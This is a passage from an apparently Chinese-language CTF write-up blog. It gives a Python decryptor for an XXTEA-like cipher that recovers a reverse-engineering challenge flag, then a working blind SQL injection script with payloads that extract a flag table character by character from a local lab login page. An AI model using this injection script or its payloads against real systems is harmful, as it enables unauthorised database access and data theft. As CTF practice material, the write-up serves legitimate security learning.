    delta = 0x61C88647
    for _ in range(11):
        v25 = U32(round_sum - delta)
        key_base_idx = (v25 >> 2) & 3
        k = [key[key_base_idx ^ i] for i in range(4)]
        key_schedule = [k[0], k[1], k[2], k[3], k[0], k[1], k[2], k[3], k[0], k[1]]
        s_next = [0] * 10
        s_next[0] = U32(s[0] + F(s[9], s[1], key_schedule[0], v25))
        s_next[1] = U32(s[1] + F(s_next[0], s[2], key_schedule[1], v25))
        s_next[2] = U32(s[2] + F(s_next[1], s[3], key_schedule[2], v25))
        s_next[3] = U32(s[3] + F(s_next[2], s[4], key_schedule[3], v25))
        s_next[4] = U32(s[4] + F(s_next[3], s[5], key_schedule[4], v25))
        s_next[5] = U32(s[5] + F(s_next[4], s[6], key_schedule[5], v25))
        s_next[6] = U32(s[6] + F(s_next[5], s[7], key_schedule[6], v25))
        s_next[7] = U32(s[7] + F(s_next[6], s[8], key_schedule[7], v25))
        s_next[8] = U32(s[8] + F(s_next[7], s[9], key_schedule[8], v25))
        s_next[9] = U32(s[9] + F(s_next[8], s_next[0], key_schedule[9], v25))
        s = s_next
        round_sum = v25
    return s

def decrypt(cipher_dwords, key):
    s = [U32(c) for c in cipher_dwords]
    delta = 0x61C88647
    round_sum = U32(0 - delta * 11)
    for _ in range(11):
        v25 = round_sum
        key_base_idx = (v25 >> 2) & 3
        k = [key[key_base_idx ^ i] for i in range(4)]
        key_schedule = [k[0], k[1], k[2], k[3], k[0], k[1], k[2], k[3], k[0], k[1]]
        p = [0] * 10
        p[9] = U32(s[9] - F(s[8], s[0], key_schedule[9], v25))
        p[8] = U32(s[8] - F(s[7], p[9], key_schedule[8], v25))
        p[7] = U32(s[7] - F(s[6], p[8], key_schedule[7], v25))
        p[6] = U32(s[6] - F(s[5], p[7], key_schedule[6], v25))
        p[5] = U32(s[5] - F(s[4], p[6], key_schedule[5], v25))
        p[4] = U32(s[4] - F(s[3], p[5], key_schedule[4], v25))
        p[3] = U32(s[3] - F(s[2], p[4], key_schedule[3], v25))
        p[2] = U32(s[2] - F(s[1], p[3], key_schedule[2], v25))
        p[1] = U32(s[1] - F(s[0], p[2], key_schedule[1], v25))
        p[0] = U32(s[0] - F(p[9], p[1], key_schedule[0], v25))
        s = p
        round_sum = U32(round_sum + delta)
    return s


v10_final = [0x63656F6D, 0x21216674]

key_final = [
    v10_final[0], v10_final[1],
    U32(0x12345678), U32(0x9ABCDEF0)
]

target_cipher_dwords = [
    0x5D624C34, 0x8629FEAD, 0x9D11379B, 0xFCD53211,
    0x460F63CE, 0xC5816E68, 0xFE5300AD, 0x0A0015EE,
    0x9806DBBB, 0xEF4A2648
]

decrypted_dwords = decrypt(target_cipher_dwords, key_final)

flag_bytes = b""
for dword in decrypted_dwords:
    flag_bytes += struct.pack('<I', dword)

try:
    decoded_flag = flag_bytes.decode('ascii').strip('\x00')
    print(f"Flag: {decoded_flag}")
except UnicodeDecodeError:
    print("error")

web

08 第八章 天衍真言,星图显圣

这里用的是盲注,一开始被大小写坑了,sql字符比较一般不区分大小写......

import requests
import string
from urllib.parse import quote


base_url = "http://127.0.0.1:50302/"
success_indicator = "Welcome"
max_retries = 5
request_timeout = 10
max_flag_length = 100


PRIORITY_CHARS = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +  "0123456789" + "_{}[]()!@#$%^&*+-=;:'\",.<>/?|\\~` "

def check_payload(payload):
    encoded_payload = quote(payload)
    target_url = f"{base_url}?username={encoded_payload}&password=123"
    
    for attempt in range(max_retries):
        try:
            r = requests.get(target_url, timeout=request_timeout)
            if success_indicator in r.text:
                return True
            return False
        except Exception as e:
            pass
    return False

def extract_flag():
    length = 0
    for l in range(30, 70):
        payload = f"' or length((select * from flag))={l}-- "
        if check_payload(payload):
            length = l
            print(f"Flag长度: {length}")
            break
    if length == 0:
        length = 50
    flag = ""
    length+=1
    for position in range(1, length + 1):
        found_char = None
        for char in PRIORITY_CHARS:
            # 使用BINARY强制区分大小写
            payload = f"' or BINARY substr((select * from flag),{position},1)='{char}'-- "
            
            if check_payload(payload):
                found_char = char
                flag += char
                print(f"位置 {position}: {char} | 当前flag: {flag}")
                break
        if found_char is None:
            flag += "?"
    
    return flag

if __name__ == "__main__":
    flag = extract_flag()
    print("flag:", flag)

待更......

web太多太杂,不想写了

xqy2006's blog